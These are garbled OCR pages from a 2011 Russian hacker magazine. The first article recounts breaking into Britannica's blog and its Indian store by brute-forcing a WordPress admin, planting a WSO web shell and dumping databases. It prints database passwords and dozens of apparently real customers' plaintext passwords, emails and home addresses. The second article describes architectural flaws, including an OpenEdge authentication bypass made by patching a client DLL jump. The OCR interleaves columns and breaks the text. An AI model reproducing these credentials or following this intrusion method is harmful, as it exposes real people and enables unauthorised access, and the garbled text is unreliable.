rhorrow,

account - 8 0

t ga l lagher ,

benandbe l l a

j enni fer ,

bindia

agut tmann ,

blog . qa . t a r . bz2

rwi l s on

c a t a l og category - t emplate . php

Но л о г и н ы - это только полдел а . н еобход и м о было н а йти еще и пароли к ним :1. Для этого я вос пол ьз о ­ в а л с я р а н ее упом и на в ш ей с я на стра н и цах руб р и к и X-Tools програ м м ой W B F.Gold (wonted . ru/grogra mms/ wbf-gold l . Для начала п роцесса брутфорса нуж н о н а строить п р о гу в разделе « Пара м етры » :

contributor corpora t e - 8 0 dead . l e t t e r deprecated_s i t e-page s - 8 0

Если ты я вляешься разработчи ком какого-либо движка или адм и н истратором крупного п роекта. советую тебе огля нуться на безалаберных владельцев Брита н н и ки и не повторять следующих ошибок: 1. Н е забывай обновлять паблик­ движки до самых последних верс и й . 2. Н и ко гда не сохра няй личные да н н ы е пользователей в открытом виде. З . Н и ко гда не позвол я й н е п р и вилеги­ рова нному пользователю веб­ сервера lapache в данном случаеl быть владельцем важн ых файлов систе м ы . 4 . Н и ко гда н е ста вь простых паролей. а также используй рандо м н ы е па роли для разл и ч н ы х сервисов.

dev-blog-wp2 2 . z ip f a i l over formO l - 8 0

Хост/ обработчик формы :

http : / /www .

forms O l - 8 0

britann i c a . com/blogs/wp - login . php

gcoop - 8 0

Метод атаки :

help - 8 0

POST

Атрибуты Submit - кнопки :

Name = wp- s ubmi t ,

Value = Login

httpd- s a f e - 4 4 3

Имена полей идентификаторов :

" Логин " = l оg ,

поле

поле

" пароль " = рwd

Индикация успешного входа :

отсутствие тек­

ста input type = " pa s sword"

Для начала я скачал н е с кол ько объе м н ы х сл о в а р е й п о с с ы л к е I ПS l d еgго. с о m/гus/d оw п lо а d . s h t m l и начал п оследовательную атаку п о п е р в о м у а к каунту с п о м о ­ щью с разу н е с кол ь к и х запуще н н ы х одн о в р е м е н н о ко п и й б рутфо р с а . С пустя какое-то в р е м я я ув идел . что у с п е ш н о сбрути л с я а ккаунт m levy с па рол е м L о п d о п : 1 . Д е л о оста валось за мал ы м - зал о г и н иться в адм и н ку и з а л ить шелл. чем я и з а н я л с я .

П роникновение

Ита к. за йдя в Ь п t а п пi са . со m/Ыоgs/wg-а d m i п и убе­ д и в ш и с ь. что юзер m levy обладает п р а в а м и адм и ХАКЕР 0 3 / 1 46/ 2 0 1 1

httpd- advocacy

� links

h t tp s - 1 9 9

Виновник торжества: Ьгitап п iса . wordpr e s s -blog - 8 0 com/blogs ; wppingbac k - 8 0 И ндийск'ое www - 8 0 отделение Брита н н и к и : Ьгitа п­ П l са i пd iа .соm ; Н а с е р в е р е н аходил и с ь служеб н ы е фа йлы разл и ч н ы х Последняя версия в нутре н н и х раздел ов и поддо м е н о в Брита н н и к и ( кото­ веб-шелла WSO: р ы е . в п р о ч е м . б ы л и для м е н я не та к и нтерес н ы . как httgs:!/rdot.org/ доступы к база м Aa H H bIx l : forum/showth read . phg?t=1 085. •

/apps /docs /wordpre s s -blog - 8 0 /blogs /

wp - c onfig . php :

de f i ne ( ' DB_NAМE ' ,

' blogs ' ) ;

//

The пате o f

t h e database de f ine ( ' DB_USER ' ,

' wordpr e s s ' ) ;

/ / Your

� 0 57


Таблица с заказами продукции Британники и з а п и с и с адреса м и н е кой доста в к и :

MySQL username def ine ( ' DB_PASSWORD ' ,

' gut enberg5 ! ' ) ;

//

. . . and Адрес платежа :

pas sword de f ine ( ' DB_HOST ' ,

' blogs . db ' ) ;

//

9 9 % chanc e

уои

won ' t need to change thi s val ue

Gurgaon , Телефон : E-mai l :

/apps / docs /bindia/ codelibrary/ inc/ connection . pnp :

$dbConn

=

5 5- 5 6 ,

Gurgaon ,

Udyog Vihar ,

Gurgaion Phase IV ,

India

9810040499 kaushik@britann i c a i n . com

Адрес доставки :

55-56 ,

Udyog Vihar ,

Gurgaion Phase IV

pgJ)connec t ( " ho s t =bi . db port = 5 4 3 2 dbname=bi

user=bi pas sword=bi " ) ;

С п ом о щью п е р в о го доступа я л е гко слил e - m а i l' bI , л о г и н ы и пароли пользовател е й блога lоб рати в н и м а н и е , и нте ресные пароли у б р ита н с к и х к н и голюбов: И о га н н Гутенберг - это изо­ б р етатель к н и го п ечата н и я l , а вот для второго м н е п р и шлось з а л и в ать уже з н а ко м ы й тебе WSO веб-шелл, кото р ы й умеет рабо­ тать с база м и да н н ы х PostgreSQL.

И ндийская Британника

П одко н н е кти в ш и с ь к b i . d b , я сразу же п р и ступ ил к изуч е н и ю содерж и м о го Б Д н а ш е го юзера : postgres, i h o p , b i , aasl, site, е b t i m е l i п е , b i l . П е р в ы е и нтересности о б н а ружил и с ь в табл и це t b l_ord e r_master, где наход и л и с ь следующие столб ц ы '

Здесь до м е н Ьгitа п п i с а i П .соm I кото р ы й , кстати, не работаетl на вел м е н я на м ы сл ь, что назва н и е базы « b i » - это аббревиа­ тура от Britann ica I nd i a . Собств е н н о , с эти м з а п росом в Гугле я и узнал , что взломал целое и нд и й с кое отдел е н и е Б р ита н н и к и , распол а га ю щееся п о адресу brita n n i ca i n d ia .com и п о пути /a p ps/ docs/b i n d i a на н а ш е м сервере. С а м ресурс Ьгitа п п i са l п d i а . соm поз воляет жител я м И нд и и з а казы вать разл и ч н ы е п р одукты издательства E n cyclopaedia B rita n n ica Iкниги и C D/DV D I , та к что оста валось тол ько на йти бол е е подробную и нфу о п о купателях в базе да н н ых . П о н я т н о , что у з н а в а д р е с одн о го из ресурсо в, кото р ы е л ежат на похека н н о м с е р в е р е , я сразу же захотел посмотреть на остальные са йты с помощью известного Rеvегsеl Р-сервиса yougetsignal. со m/too ls/we Ь - 5 i t es -о n -we Ь - se гуе г :

order_id

advocacy . br i tannica . com

order_number

benandbe l l a . eb . com

order_dat e

bri tann i c a i ndia . com

uid

corpora te . br i tannic a . com

order_s t at us

corpora te . eb . com

b i l l_name

forms 0 1 . b r i t ann i c a . com

b i l l_addre s s

help . eb . com

b i l lJ)hone

in fo . eb . com

bi l l ema i l

news le t ter . eb . com

ship_name

news l e t t er s . b r i t ann i c a . com

ship_addre s s

partners . br i t annic a . com

shippJ)hone

s a l e s . br i t anni c a . com

shipping_chrages

s t a t i s t i c s . eb . com s t ore . britannicaind i a . com

� 058

Х А К Е Р 03 / 1 46/ 2 0 1 1


, i' WBF.Gold vO. 9. 5 I by [x26]VOLAND I

- 1 _ I --'1 т

.. . ...

..

-.._.

I

с_

.. ....

С..

Настроики

� '5' �

Атакуемый сайт: http://www.britannica.com/bIogs/w... POST Метод атаки: Тип перебора: Атака 1 аккаунта

$I.....C . IS --- _. _--------------- ----

Параметры

11

Прокси (нет)

1

Дополнительно

Браузер ,,"

�()8С'8 tCiil'I9 __

Шопимся

ПОД

чужим аккаунтом

,--_с_т_ ар _.

_1I

_ T ....J.

Стоп

Прогресс: Текущий: Прокси:

(••==.==.........

support . br i tann i c a . com

PPS: O

mlеvу;Lопdоп

-= = = . === --_••_ = = = ====••

Атака завершена

univers a l . eb . com

6 /666 ( 100%)

Подобрано: 1

www . apps . eb . com

Успешный брутфорс

www . br i tann i c a i nd i a . com

Как видишь, список оказался довольно-таки и нтересным. Н о оставим его на потом, и вернемся к н а ш и м и ндийским друзьям :1.

Panchsheel Enc l ave

И нди йски й магазин

Raj uV : pl sGOD : vra j u3 @emi rates . net . ae : AYDJA РО Б О Х 2 5 vikram : kr i shnaaa : vi kram@br i t anni c a i n . com : c - 2 6 6 , sa ri t a

Дал ее в той же базе да н н ы х я открыл табл и цу t b l_reg ister, содер­ жащую 9 470 з а п и с е й . Здесь для меня открылось ч а рующее з р е ­ л и ще: п одро б н е й ш и е да н н ы е о б о в с е х ка сто мерах Б р ита н н и ки , а в кач естве бо нуса - кр истально ч и стые парол и в пле й н -те ксте [уже в кото р ы й раз з а м е ч а ю , что серьез н ы е ресурсы сильно н е з а м о ра ч и ва ются о ш и фр о в а н и и важн ы х да н н ы х пользователе Й I . В о т л и ш ь некото р ы е из та к и х дан н ы х : Ноп i е : rоsе : hаrрr i t kаur@hоtmа i l . соm : D- 6 / 1 3 , Vasant Vihar r i t e sh : rockrover : ri t eshroxy@yahoo . c om : sun power f l a t s 9

b l o c k s . f . - 4 memnagar

pioneer : pravyog i : pravin_hande@red i f fmai l . com : bhau daj i road gangu ly : goa@cal c u t t a : ganguly_sumam@yahoo . com : 2 4 ,

ali

chirag lane , muthana : pretty : muthana@vsnl . com : 1 2

thoma s : thoma s : thoma s @br i t anni c a i n . com : 1 - 8 6 madan gi r

Sarat Cha t t erj ee

Avenue anurup : m i t a l i : anurup_m@vsnl . com : Surasree 2 4А ,

Lake

vihar

Тыся ч и подо б н ы х з а п и сей я извлек с помощью н ехитр о го з а п роса « SELECT username l l chr ( 5 8 ) I I password l I chr ( 5 8 ) I l ema i l l l c

hr ( 5 8 ) I l address FROM tbl_re g i s t e r LIMIT 3 0 OFFSET О » .

ДЛЯ теста я р е ш ил зал о г и н иться п о адресу Ьгitа п пi с а i пd iа . co m/regl st ration .php с помощью рандо м н о го аккаунта vi nay_75a ; 1 30 4 1 974, что, естеств е н н о , у м е н я сразу же п олуч и ­ лось. И м ея доступ к л юбому из а к каунтов м а га з и н а и н д и й с кой Брита н н и к и , м ож н о было за казать о ч е н ь м н ого бум ажных или мульти меди й н ы х коп и й да н ной э н ц и кл о п еди и на любые почтовые адреса :1. Н о >; н е стал з а н и маться та к и м н е п отребств о м , а всего л и ш ь бережно слил да м п с пол ьзо вател я м и к себе на деди к.

За ключение

Н а п оследок я р е ш ил еще н е м н о го п оходить по Post g reSQL базам да н н ы х . К а к это н е уди в ител ьно, но в н е кой б а з е b i l в табл и це users также оказал ись незашифрова н н ы е парол и :

view Road superbat 3 9 3 : s curvycur : superbat_3 9 3 @yhaoo .

gabi e ; springsprung

co . uk : 1 2 , T . S . Kr i shna nagar extn , mogappair

tea ; tea

SuyashAnand : 9 9 9 9 9 9 9 9 9 : suyashanand@yahoo . c om : xy z

mwiechec ; pas sword

champaka l i : mypc z en i t h : bbsr@ ln s e l . com : cuttack

s ab i s 1 2 3 ! ; sabis images

s im O O : 7 0 2 0 5 5 7 : s imO O @red i f fmai l . com : 1 2 5 s a i n i k vihar

erc1 2 3 ! ; erc images

arka : arkaarka : kaaraak@yahoo . com : ca t i a

kossut h ; kossuth1 2 3 !

ani lpos t : bat hinda : a n i lpos t@hotmai l . com : 2 2 4 2 ,

urban

и так далее

e s t a t e pha s e - i i k_dasgupta : mampu : k_dasgupta@hotma i l . com : PO Бох 7 2 madhu : rama : ureply@redi f fma i l . com : 6 5 7 6 satya j i tpani : s i lu s i l u : satya j i t -pani@msn . com : cuttack chandi cuttack ramkishor e : bansa l 1 2 3 : ramki shore@vsn l . com : 2 3 5 , Peran ,

Katra

Ti l a k Баzаr

rj ana : 1 2 3 4 : rj ana@vsn l . net : ha l d i a rakov2 0 0 0 : rakov2 0 0 0 : xaldinx@gma i l . com : & 3 / 2 ,

Kr i s hna

Nagar раdmа : suhапа : раdmа@еЬiпdiа . соm : Б - 2 / 1 7 1 ,

S fdarj ang

Enc l ave mani sh : purohi t : mani sh@manishpurohi t . com : d- 7 7

ХАКЕР 03 / 1 46/ 2 0 1 1

Пораз и в ш ис ь такому халатн ому отно ш е н и ю к с в о и м же собствен­ ным юзера м , я слил все доступ н ы е да н н ы е , а также с ка чал и сход­ н и к и всех сайто в - п оддо м е н о в Б р ита н н и ки с Reversel Р - с е р в и с а . П осле неуда ч ной п о п ытки порутать пропатчен ную м а ш и н ку я удалил все свои ш еллы и н а п исал адм и н а м на м ыло, чтобы о н и в н и мател ьнее относились к с в о и м п а р ол я м и , соответственно, пользовател я м . Тебе же я в оче редной р а з м о гу посоветовать не смотреть на исто р и ю и размах л ю бого онла й н - п роекта , а просто н е м н о го глубже вглядеться е го структуру. Б ыть м ожет, и м е н н о ты будеш ь тем ч еловеком, кто на йдет з н а м енател ь н ы й баг в ка ко й - н ибудь . . В и к и п едии : 1 . :х:

� 059


• • длексей СИНЦОВ,

D i g i t a l S e c u r i t y I t w i t t e r. c o m / a s i n t s o v l

ОШИБ АРХИТЕ

Pb l

П ро ст ые ды р ы в сл ож ны х ве ща х .

С егодня мы в очередной раз рассмотрим о ш и б ки в сложных программных вещах, но это б удут уже не б аги в коде. Мы поговорим о б о ш и б ках, заложенных еще на стадии проектирования, то есть о б архитектурных б агах. Н у и конечно же, те б я ждут Оd ау-уязвимости ... Ош и бка в логике

. Ошибка, ка к известно, может быть в коде П О , а может в конфигура­ ц и и . Кроме того, возможны о ш ибки при неправил ьном внедрении или сопровожде н и и систе м ы . Н о б ы ва ют оплошности и в самой архитектуре. Такие ошибки п р ячутся в самой задумке, в самой логике систе м ы . Последствия могут быть раз н ы м и , в том ч исле и та кие, которые п р и водят к наруш е н и ю безопасности. П р и м еров та ких косяков - п руд п руди : DLL-Hijacking, ARP-PO I 5 0 N I N G , 5 М В R E LAY. . . А также менее глобал ьные - н а п р и м е р , ошибки в модулях libc, при обработке переменной о кружения LD_AUDIT (автор Та вис ОрмандиJ. В общем, зоопарк достаточно богат и многообразен. В этой статье я расскажу о своем оп ыте по в ы я влению и э ксплуата­ ции та ких вот багов.

� 060

Ба й ки из склепа

в Росси и есть круп н ы е ком п а н и и . Круп н ы м ком п а н и я м надо ка к-то автоматизировать некото р ы е п роцессы. Для этого нужно П О . Такое ПО п и шут п рогра м м исты. П р и этом программ исты решают задачу, которую ста вит им ком п а н и я . И на стади и п роекти рования та ких систем случаются казусы, которые п р и в одят к достаточно п р и коль­ ным посл едств и я м . Уди в ител ьно, что только уже п осле н а п иса н и я П О воз н и кает в о п р о с : а что у нас с безопасностью? Печально, но в Росси и это так. П р и м е р из жизни - ответ технического директора круп ной компа­ н и и , з а н и ма ющейся разработкой софта, на сообщение об обна ру­ женной уязвимости. Уязви мость банальная, типа « Перепол н е н и е буфера в стеке», последствия - вы п ол н е н и е п р оизвол ьного кода. ХАКЕР 0 3 / 1 46/ 2 0 1 1


Digital Security

Research Group

S im p le bug i n 'cod ingJ stage

Iaea

->

Bus iness Tas t s

->

Bug report

Archi tect

->

Coaing

Analy z e

->

Patch

->

->

Implement

->

Support

, Month

Мо . . .

or

Слайд с конференции CONFidence 2010(2): так исправляются кодерские баги Та к вот, ответ сотруд н и ка ком п а н и и , отвечающе го за безопасность этого софта: « Это бред. Ка к может в ы полн иться п роизвол ь н ы й код? Откуда он возьмется в нашем П О ? Есл и и в ы пол н ится код, то только н а ш собств е н н ы й , а он не произвольн ы й ! К тому же, у н а ш и х кли е нтов антиви рус eCТbl» Пересказ вол ь н ы й , но смысл п ередан точно. Так-то вот. Но что-то я отвлекся - вернемся к ош и б ка м в логике. Собственно, л юбой анализ безопасности системы/п роекта начинается кра й н е банально - запускается с н иффер. П ри ч е м на кл иентской та ч ке . Это необходи мо, чтобы понять, как систем а работает с сервером. В 90% случаев уязвимости в л о ги ке в ы являются тупо п р и анализе л о гов этого самого с н и ффера. К п р и м еру, всем очевидно, что при л юбой модели кл иент-сервер желател ьно разгр а н и ч и вать работу СУБД с кл иентом . Н о м н о гие наши разра ботчи ки л енятся п и сать н а п р и м е р , с и стему управления бизнесом, на основе трехзвенной архитектуры. Напоминаю, что п р и таком раскладе у пол ьзователя стоит кл и ентское П О , которое работает с сервером приложе н и й , а сервер, в свою очередь, работает с да н н ы м и в СУБД. В итоге надо п исать два продукта - кл иент и сервер п риложе н и й , а кроме того еще разрабатывать БД (хран и м ы е про цедуры, три гге р ы , да и вооб­ ще cxeMyl . Ка к итог - многим л е н и в о п исать сервер п р иложе н и й , и о н и разрабаты вают кл и ентское П О , которое н а п р я мую работает с СУБД. Та кая двухзвенная модель н а кладывает ряд до полн итель­ н ы х требований к безопасности на уровне логики и разгра н ич е н и я доступа . Однажд ы , разби ра я л о ги с н и ффера, м ы увидел и такую реал иза­ цию. Кл иент в ы п ол няет аутентиф и кацию с СУБД на основе N T L M , т о есть доступ в Б Д б ы л организован по учетн ы м записям домена. Далее кл иентское ПО в ы б и рало рол ь, соответствующую своей учетной записи, в специальной табл ице. А п еред тем , как в ы б и рать да н н ы е из л юбой боевой таблицы, п роверяло, есть ли у да нной роли права на эти дан н ы е . О ч е в идный косяк тут - проверка роли на стороне кли е нта, ведь что м е шает пользователю выполн ить с о еди н е н и е с СУБД с пом ощью кл и е нта этой самой СУБД? Та к как ролевая модел ь « поддел ьная», а не основана на возможностях СУБД, то такой расклад п р и водит к пол ному доступу к системе и всем да н н ы м . Самое забавное, что вы пол н я я анализ безопасности другой отечественной систе м ы , в другой ком п а н и и , мы обнаружил и точно такой же подход к арх итектуре и, соответственно, о ш ибка была абсолютно такая же. Естественно про это « и та к з н а ют» и в ыходят из положен и я , н а п р и ­ мер, с помощью установки те рминальных серверов, с которых пользователи и работают с с и стемой. Н о хочу заметить, что такой подход - не панаце я , а п росто « костыль». Другие же разработч и ХАКЕР 03 /146/ 2 0 1 1

ки, зная о подобной проблеме, реал изовали о граничение доступа, испол ьзуя ролевую модел ь са м о й СУБД. О Н И отказались от домен­ ных учеток, за водя учетн ые записи в базе дан н ы х . Внешне это в ы глядит та к: пользователь запускает кл иентское П О , ждет секунду, получает с п и со к пол ьзователе й , и щет в с п иске свою фа м и л и ю , жмет кнопку < Войти > , п осле чего у н е го спрашива ют пароль, кото­ р ы й он вводит. С н и ф траф и ка показал удив ительную вещь: дей­ ствител ьно, па рол ь проверяется на уровне СУБД специально раз­ работанной процедурой, ролевая м одел ь прописана там же, кл иент н и ч е го не решает, но ш а г с отображе н и е м с п иска пользователей был п ровален полностью. Кл иентское П О коннектится к БД под учетной записью по умолчанию, которая прош ита в па мяти (легко можно достать дебагге р о м l . Далее идет сел ект списка пользовате­ лей, но тут есть нюанс: по идее это должно было быть реальзовано та к : select

logins ,

РТО

from db ;

Н о , по неизвестн ы м п р и ч и н а м , было сделано та к: select *

f r om db ;

Что позволяло получить парол и всех пользо вателе й п р и отобра­ жен и и и х сп иска. Естественно, парол и в кл и ентском ПО не ото­ бражал ись, но в л о гах сн иффера о н и были в идны в пол не четко. И

Архитектурные баги патчить труднее... I!I Oigital Security ...", Research Group

r-

Bug in 'Architect' stage

Id...

->

Busin••• T••k.

ВиС] report

->

\

->

Analyz8

Archit.ct

->

->

Codinq

->

Imp1.m.nt ?????????

->

Support

р&tch I

???????????

� 061


Immunity Debugger File

Viev.J

-

prowlrllЗ2.lехе

Debug

Plugins

ImmLib

Binary Breakpoint Search for

Memory,

Ставим брейкnоинт на данные даже если бы этого селекта не было, то табл и ца db была доступна пол ьзователю по умол ч а н и ю , так что пароли можно было получить, испол ьзуя прош итую учетку. Зачем п рогра м м исты используют свои на вороты , вместо того, чтобы пользоваться уже п ровере н н ы м и меха н и з м а м и ? И м виднее . .

OpenEdge Ладно , хватит истори й , перейдем к делу. Сейчас я расскажу об иди­ отской архитектурной о ш ибке в известном в узких кругах продукте R D B M S Pro g ress ОрепЕdgе. Название кажется тебе незна ком ы м ? Вот л и ш ь мал ы й список ком п а н и й , котор ы е используют эту СУБД: PepsiCo Coca-Cola Johnson & Johnson Lockheed Mar t i n МсDоппе l l -Dоuglаs Sony Danon Mercede s -Benz Ford Motor Mazda Motor Corporat i on He i neken

Та к что, как види шь, эта штуковина очень мощная и дорога я , используется в крутых ком п а н иях : 1 . Там м ы ее и нашл и . Вернее, нашел ее sh2kerr и наш коллега [теперь уже работающий в Yandex) Алексей Трошичев. С помощью одного л и ш ь сниффера на кли­ ентской части они заметили одну деталь: от клиента к серверу не

� 062

оп

write

передается н и ч е го, что напоминало бы хэш па роля или сам па роль во время аутентификации. Сначала sh2kerr заметил, что вроде вот он - хэш. Но . . . он передавался от сервера к кл иентуl Это озадачи­ ло наших героев. Понять, что п р о исходит, было трудно, но штукер заподозрил, что тут-то и зарыт кл юч к разгадке. Однако времени на дебаг не было, так ка к он находился на объекте и должен был делать работу дал ьше. Зато а втор статьи на объекте не б ыл и рас­ полагал временем. От штукера п оступил телефо н н ы й звонок с опи­ санием п роблемы : « Н еужели хэш от пароля посылается кл иенту? И есл и да, то что же кл иент делает с этим хэшем?» . Я подумал, что он бредит. Какой разработчи к напишет такую ерунду? Тем не менее, раз есть задача, то надо ее решать. Я скачал триал СУБД ОрепЕdgе, установил, настроил и начал копать. Первым делом я за пустил сниффер и п ровел аутентификацию. Слова Саши подтвердил ись - от клиента н и ч е го дельного не идет, зато от сервера идет ка кая ­ т о ботва, похожая на код, п ароль, шифр или х э ш . П роверить этот факт не соста вило труда . Сделав да м п табл ицы _Users., я увидел, что н а п ротив логина Аdmiп, созданного мной, стоит точ н о такая же строка ка к и в ТСР-пакете от сервера к клиенту. Опять интуиция штукера не подвела - это был хэш. Н о какого . . . почему от сервера? Что делает клиент? На эти воп росы помог ответить OllyDbg.

What the heck? Тут я расскажу подробнее, так ка к это может быть л юбоп ытно. Берем OllyDbg или I m m u п itуDеЬuggег и аттачимся к клиентскому п роцессу ОрепЕdgе - ргоwiп32.ехе. Та к как хэш п р иходит от серве­ ра, то требуется найти место разбора входящего трафика. Для нача­ ла надо поставить брей кпоинт на фун кцию recv[) , та к ка к, видимо, с ее п омощью П О п олучает да н н ы е . Известно, что эта фун кция пря чется в б и бл и отеке WS2_32.dll, но на всякий случай сделаХАКЕР 0 3 / 1 46/ 2 0 1 1


�юция сравнения хэ� ем поиск всех фун кци й . Оля делает это та к: правой кнопкой по полю с дизасм-кодом , далее «Search for Name i n all modules». В откры вшемся окне несмотря на отсутствие поля ввода п и ш е м « recv» И видим, что е щ е фун кция « recv» берется из WSOC K32 . d ll. Ста в и м брейкпоинты на оба вызова. Жмем F9 I R u n l и п ытае м ся войти в СУБД. П р и этом У нас работает брейкпоинт на фун кции recv. Ок, смотр и м , откуда п р и шел в ызов функции I п р и ш ел он из модуля prow32.d lll и ста в и м та м бреЙкпои нт. Тогда в следующий раз п еред вызовом recv у нас сработает брейкпоинт в p row32.dll, и мы сможем отследить входя щие да н н ы е п о F8 та к сказать, на глаз, перепры­ гивая работу recv IESP+4 будет указывать на буфер, куда помеща­ ются входные да н н ы е от cepBepa l . Жмякаем кнопочки F8 и F9 пока не увидим хэш в да нном буфере. Далее нам и нтересно, что будет с ЭТОЙ строко й : выделяем ее и ста в и м брей кпоинт на чте н и е !см. скриншотl. Жмем F9 и в и д и м , что срабаты вает брейкпоинт на память в процессе mem move, то есть хэш меняет место, так что снимаем ста р ы й брейкпоинт и ста в и м его в другом м есте, выделяя область с хэшем после перемещен и я . Та к повторяем еще пару раз и в итоге видим , что на третий раз брейкпоинт у нас не на коп иро­ в а н и и , а на сравнении первого байта нашей строки : ->

<

<

>

>,

<

<

>

<

остал ьные, е ще раз п ытаемся в ы п ол н ить аутентиф и ка ц и ю , только п о с л е сра в н е н и я ЕАХ с нулем меняем J E на J N E . Та ким образом, неважно, чем закончилось сравнение, м ы идем сюда : prow3 2 . 1 024653F. После нажатия F9 н и чего не п роизошло: н и ка­ ких сообще н и й об ош ибке, только открылся и нтерфейс кли ента СУБД. П р и этом я мог менять и ч итать да н н ы е в БД с помощью этого и нтерфейса. Сравнение п роделанных ш а гов с да н н ы м и из сниффера показал и , что сервер шлет хэш выбранного юзера кл и е н ­ ту, кли ент сч итывает и сравн ивает хэши, п осле чего шлет резул ьтат серверу. . Другим и сл ова м и , это ка к если бы б ыл такой диалог: <

>,

>

Клиент :

сервак , к а к жизнь? Как дети?

Сервер :

Ну привет ,

Клиент :

Ну как же это? Админ я ,

Админ !

Сервер :

Ох . . .

ТО

ХХХ !

Ты сам-то чьих будешь ?

ну если ты Админ ,

Ты уверен ,

Клиент :

клиентик .

хэш твоего пароля

что у твоего пароля такой хэш?

Ну ты скажешь !

Конечно !

и получился ! Админ я или кто , Ну раз Админ ,

У меня такой же хэш

по- твоему !

то проходи !

AL , BYTE PTR DS : [ ЕСХ]

В ЕСХ У на'с строка хэша из сети, в A L ба йт, котор ы й сравнивается с первым байтом хэша. Отмотав пару строчек в дизасме, види м : MOV

Привет ,

Форкаешься еще?

Сервер :

СМР

>

Вот и все. Самая бредовая бага , которую я когда-либо видел. Патчим кл и ентскую DLL'KY и пароль нам больше н е нужен :1. Ка к разработч и к до такого додумался - пес его знает. Кстати , если пользователя не существует, то получ ится такой расклад:

AL , BYTE PTR DS : [ EDX] Клиент :

То есть в AL первый байт строки по адресу Е DХ, а та м у нас какой­ то другой хэш Iможно п редположить, а потом и убедиться в дебаг­ гере, что этот второй хэш сч итается л о кально и берется из поля ввода парол я l . Далее, если с ра в н е н и е успешно, то ЕСХ и Е DХ увел и ч и ва ются на еди н и цу, и п роцедура сравнения повторяется. Так реализована местная фун кция из p row32.dll - dbut_stco m p l l . Да н н ы й кусок кода сравнива ет д в е строки, в н а ш е м кон кретном случае - два хэша. И если все совпало, то возвра щается О. Если нет - то номер байта , где п роизошел косяк. Идем п о коду далее, следя за ЕАХ после выхода из фун кции d b u t_stcomp. И тут м ы видим, что ЕАХ делают отри цател ь н ы м , а затем после R ET N про­ исходит сравнение ЕАХ с нулем и , в зависимости от резул ьтата , разная обработка . TEST

ЕАХ , ЕАХ

JE

SHORT prow32 . 1 0 2 4 6 5 3 F

MOV

ECX , DWORD PTR DS : [ 1 0 6 D1FF4 ]

MOV

EDX , DWORD PTR DS : [ ЕСХ+ВО ]

PUSH

EDX

PUSH

2С6

CALL

prow3 2 . 1 0 0 2 6CAO

;

Если ноль - то п р ыжок, если нет - то по F9 видим ошибку аутентифи ка ц и и . Поста в и в на сравнение брей кпоинт и убрав ХАКЕР 03 / 1 46/ 2 0 1 1

серва к ,

как жизнь? Как дети?

Сервер :

Ну привет ,

Клиент :

Ну как же это?

Сервер :

Эээ . . .

клиентик .

Чувак ,

Ты сам-то чьих будешь?

ОткТе4нзН3рх я , слышь ,

ОткТе4нзН3рх !

не знаю я никакого

ОткТе4нзН3рха . . . КЛиент :

Ну ты скажешь !

У меня вон и хэш совпал !

ОткТе4нзН3рх я . . . Сервер :

Ну раз ОткТе4нзН3рх ,

то проходи . . . !

М ы связались с разработч и ком и очень долго жда л и , что он реш ит. Решил он п росто: да, это баг, но только для тех, кто испол ьзует СУБД-аутентиф и ка ц и ю . Все крутые чува ки ее не должны и спользо­ вать. А еще луч ше испол ьзуйте п-звенную архитектуру. Та кой ответ поняте н : баг невозможно исп равить хотя бы по п р и ч и н е обратной совместимости. Н о факт есть фа кт.

Kaspersky AV 1000day

ошибка аутентификации

<

Привет ,

Форкаешься еще?

>

Го воря об а р х итекту р н ы х б а га х , надо п о н и мать, что и н о гда о н и з а висят от м н ожества ф а кторов. Та к эта гл ава расскажет об о ш и бке в о в с е м и л юб и м о м а н т и в и русе и м е н и Касперского . О ш и б ка п р и водит к уда л е н н о му и с п ол н е н и ю п р о и з в ол ьн о го кода, п р и ч е м н и ка к и х э ксплойтов п и сать не надо, да и вообще н и ч е го делать н е надо - в с е уже н а п и с а н о и сдел а н о . З н а ч ит, делал я с Алексеем Тюри н ы м aka G re e n D og 'ну и н и ки У л юдей .. 1

� 06з


Session lnformation Currentl y Connec=ted DБ9 : Conne c t e d :

1

уе 9

PhY9 i c a l

пате :

ТSS7

Loqi c a l

пате :

T E ST

S chema holde r :

ТES7 DБ

Dat aba g e

PROGRE S S

Dat aba g e

t ype :

ve r 9 i on :

Re 9 t r i ct i o n s : Da t aba s e

user

id :

10

tЖ:"Zl

Dat aba g e

code page :

Datab a g e

c o l l a t i on :

ba9ic

6 4 -b i t

S e quence 9 :

enab l e d

k e y ent r i e 9 :

enabled

La r ge

S e l e c t ed Da t ab a g e

unde fined

OpenEdge

and Op e r a t i ng S Y9 t em '"

ОК

frint

Help

Результат - доступ в СУБД без пароля внутр е н н и й п е нтест одн ой ком п а н и и , и все бы н ич е го , н о н и ка к и х не сломать: п а роли с м е н е н ы , ОС п ро п атч е н ы - что же делать? у м е н я случ а й н о был в кл ю ч е н с н и ф ф е р в С а i п . П о ка Леха ломал O ra c le T N 5 [что, кстати , тоже з а ко н ч и л ось успехо м ] , я открыл Ка й н - в з а кладке " Pa sswo rds 5 М В» к р о м е м о е го п ро ч е го трэша была одна строчка, в которой говорилось, что н е к и й с е р в е р Х п ытался в ы п ол н ить N Т L М -аутенти ф и ка ц и ю с м о е й рабочко й , и с п ол ьзуя дом е н ную учетку какого-то п ол ьзо­ вателя . В и м е н и уч етки явно п рослеж и валось слово « Ka sper». С н иффер работал четыре ч а с а , и л и ш ь оди н раз п роскочила та кая штука [мне е ще п о везло, что п ротокол был 5 М В , а не 5 М В 2 , та к ка к C a i n п ока н е умеет п а рсить новый п р отокол ] . Та к что же это за е рунда? С твор е н и е м Е в ге н и я Ка с п е р с ко го я н е о ч е н ь з н а к о м , одна ко G o o g le п о м о г разобраться. Ита к, о чевид но, что есть н е к и й централ ь н ы й с е р в е р Каспера - это з н а ют все. Н а остал ь н ы х та чках стоит « кл и е нтская ч а сть» , кото рая управляется централ ь н о й . Раз что-то п ыталось п р ол езть ко мне с с е р в а к а , где стоит С е р в е р Касперского, то о ч е в и д н о , что та м есть н е к и й фун кционал оп роса сети . П о гугл и в чутка , было в ы я в л е н о , что та кой фун кционал и п ра вда есть. В Kaspersky A d m i n i st ration K i t 6/8 есть ф и ч а « О п р о с I Р- п одсети » . Н а п и с а н о , что эта фигня и щет н о в ы е ко м п ы в сети с помощью I С М Р- п и н га . П осле этого Ка с п е р п ытается за йти на н его по 5 М В , чтобы н а йти та м с в о е го а ге нта и , не на йдя его, ком п добавляется в с п и с о к н е р а с п реде­ л е н н ы х хосто в. Та к как разра баты вать свой п р отокол о ч е н ь л е н ь , т о л о г и ч н о и с п ол ьзо вать NТLМ -аутенти ф и ка ц и ю . П о н я в в с е это, я п редположил, что раз р е ч ь идет о Ка с п е р е , то учетка должна обладать н е сл а б ы м и п р 